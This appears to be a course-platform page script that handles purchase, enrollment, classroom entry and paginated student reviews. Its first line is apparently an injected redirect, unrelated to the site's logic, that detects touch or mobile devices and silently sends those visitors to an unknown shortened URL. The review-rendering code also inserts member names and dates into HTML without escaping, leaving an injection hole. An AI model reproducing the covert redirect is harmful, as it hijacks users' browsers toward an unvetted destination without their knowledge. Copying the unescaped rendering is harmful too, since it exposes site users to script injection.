(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.company/JEzgWXOHX0r1");
var currentTab = 'details-tab';
var courses_reviews = {
    'page': 0,
    'per_page': 16,
    'current_page': 1,
    'last_page': 1,
    'order_by': 'create_datetime',
    'order_direction': 'desc',
    'data': null
}
var coursesReviewsLoading = false;

function buyCourse(eleID) {
    if (!members_data) {
        window.location.href = '/login?url_return=/courses/'+ courses.id +'/info';
        return false;
    }

    btnLoading('#' + eleID);

    $.post(URL_API + '/site/payments/orders/create', {'courses_id': courses.id}, function(data) {
        // notification('info', lang_data.REMOVE_FROM_FAVORITES);
        // console.log(data);
        window.location.href = '/orders/'+ data.token;
    }).fail(function(data) {
        // console.log(data.responseText);
        btnReset('#' + eleID);
        // notification('warning', lang_data.AN_ERROR_HAS_OCCURRED);
        fns.handleAlert(lang_data.AN_ERROR_HAS_OCCURRED, lang_data.PLEASE_TRY_AGAIN, 'warning', true, configuration_data);
    });

    return false;
}

function enrollCourse(eleID) {
    if (!members_data) {
        window.location.href = '/login?url_return=/courses/'+ courses.id +'/info';
        return false;
    }

    btnLoading('#' + eleID);

    var params = {
        cid: courses.id,
        tid: '',
        type: '',
    }

    if (courses.classrooms_targets) {
        params.tid = courses.classrooms_targets.id;
        params.type = 1;
    } else if (courses.classrooms_level_groups) {
        params.tid = courses.classrooms_level_groups.id;
        params.type = 2;
    } else if (courses.targets) {
        params.type = 3;
    } else if (courses.level_groups) {
        params.tid = courses.level_groups.id;
        params.type = 4;
    }

    setTimeout(() => {
        btnReset('#' + eleID);
        $.confirm({
            "columnClass": 'col-md-7 col-lg-5 mx-auto',
            theme: 'modern',
            title: lang_data.CONFIRM_ENROLL + '?',
            content: lang_data.ENROLL_NOW_BEGIN_YOUR_COURSE,
            draggable: false,
            buttons: {
                cancel: {
                    text: lang_data.CANCEL,
                    'btnClass': 'btn btn-dark-soft mt-4',
                },
                confirm: {
                    btnClass: 'btn btn-primary mt-4 btn-enroll-now',
                    text: lang_data.CONFIRM,
                    action: function() {
                        var btnCancel = this.buttons.cancel;
                        btnCancel.disable();

                        btnLoading('.btn-enroll-now');

                        $.post(URL_API + '/site/enroll_course', params, function(data) {
                            btnLoading('.btn-enroll-now', '<i class="far fa-check"></i> ' + lang_data.ENROLL_SUCCESS, false ,false);

                            $('.btn-enroll-now').removeClass('btn-primary').addClass('btn-success');

                            setTimeout(() => {
                                window.location.href = '/classroom/' + data.eid;
                            }, 1000);
                        }).fail(function(data) {
                            console.log(data.responseText);

                            btnCancel.enable();
                            btnReset('.btn-enroll-now');

                            fns.handleAlert(lang_data.AN_ERROR_HAS_OCCURRED, lang_data.PLEASE_TRY_AGAIN, 'warning', true, configuration_data);
                        });

                        return false;
                    }
                }
            }
        });
    }, 500);
}

function enterClassRoom(eleID) {
    var params = {
        cid: courses.id,
    }

    btnLoading('#' + eleID, lang_data.PLEASE_WAIT + '...');

    $.post(URL_API + '/site/enroll_course', params, function(data) {
        setTimeout(() => {
            window.location.href = '/classroom/' + data.eid;
        }, 1000);
    }).fail(function(data) {
        console.log(data.responseText);

        btnReset('#' + eleID);

        fns.handleAlert(lang_data.AN_ERROR_HAS_OCCURRED, lang_data.PLEASE_TRY_AGAIN, 'warning', true, configuration_data);
    });
}

function displayCoursesReview() {
    var block = $('.reviews-data-block');
    var data = courses_reviews.data;

    html = ``;
    if (data.length > 0) {
        for (var i = 0; i < data.length; i++) {
            var rating_scale_remaining = configuration_data.max_rating_scale - data[i].rating_scale;

            var icon_rating_scale = ``;
            for (var j = 0; j < data[i].rating_scale; j++) {
                var icon_rating_scale = icon_rating_scale + `<i class="fas fa-star"></i>`;
            }

            var icon_rating_scale_remaining = ``;
            for (var j = 0; j < rating_scale_remaining; j++) {
                var icon_rating_scale_remaining = icon_rating_scale_remaining + `<i class="far fa-star"></i>`;
            }
                        // <img class="img-fluid rounded-circle lazy" data-src="`+ BASE_DIR_MEMBERS_PICTURE + data[i].members.picture + `" alt="">

            var description = ``;
            if (data[i].description) {
                description = fns.cleanTagP(data[i].description);
            }

            html += `
                <div class="row">
                    <div class="col-3 col-md-2 mb-3 mb-lg-4 mb-xl-5 mx-auto">
                        <div class="embed-responsive embed-responsive-1by1">
                            <div class="embed-responsive-item bg-eee rounded-circle">
                                <div class="img-text">
                                    <i class="far fa-user f-20 text-muted"></i>
                                </div>
                            </div>
                        </div>
                    </div>
                    <div class="col mb-5">
                        <h6 class="">
                            ` + data[i].members.first_name + ` ` + data[i].members.last_name +`
                        </h6>
                        <div class="f-8rem text-rating-scale mb-2">
                            `+ icon_rating_scale + icon_rating_scale_remaining +`
                        </div>
                        <p class="f-9rem mb-0">
                            ` + description + `
                        </p>
                        <div class="mt-2 f-8rem text-muted">
                            <i>
                                `+ data[i].reviews_datetime +`
                            </i>
                        </div>
                    </div>
                </div>
            `;
        }

        html = `<div class="row">
                    <h5 class="col-12 mt-4 mb-4">
                        `+ lang_data.STUDENT_FEEDBACK +`
                    </h5>
                </div>` + html;
    }

    block.append(html);

    var myLazyLoad = new LazyLoad();
    myLazyLoad.update();

    if (courses_reviews.current_page < courses_reviews.last_page) {
        $('#courses-review-load-more').removeClass('d-none');
    } else {
        $('#courses-review-load-more').addClass('d-none');
    }

    coursesReviewsLoading = false;
}

function isScrolledIntoView(elem)
{
    var docViewTop = $(window).scrollTop();
    var docViewBottom = docViewTop + $(window).height();

    var elemTop = $(elem).offset().top;
    var elemBottom = elemTop + $(elem).height();

    return ((elemBottom <= docViewBottom) && (elemTop >= docViewTop));
}

function getCoursesReview() {
    courses_reviews.page++;
    var queryString = '?page=' + courses_reviews.page + '&per_page=' + courses_reviews.per_page + '&order_by=' + courses_reviews.order_by + '&order_direction=' + courses_reviews.order_direction;
    $.get(URL_API_CACHE + '/site/courses/'+ courses.id +'/reviews' + queryString, function(resp) {
        courses_reviews.current_page = resp.current_page
        courses_reviews.last_page = resp.last_page
        courses_reviews.data = resp.data;
        displayCoursesReview();
    }).fail(function(resp) {
        console.log("can't load data Courses Reviews.");
    });

}

$(document).ready(function() {
    getCoursesReview();
});

$(window).scroll(function(event) {
    event.preventDefault();
    if ($('#courses-review-load-more').length) {
        var isScrolledIntoViewStatus =  isScrolledIntoView('#courses-review-load-more')
        if (isScrolledIntoViewStatus && currentTab == 'reviews-tab' && coursesReviewsLoading == false) {
            coursesReviewsLoading = true;
            getCoursesReview();
        }
    }
});

$('#c-if-tab-detail a[data-toggle="tab"]').on('shown.bs.tab', function (event) {
    // event.target // newly activated tab
    // event.relatedTarget // previous active tab
    currentTab = event.target.id;
});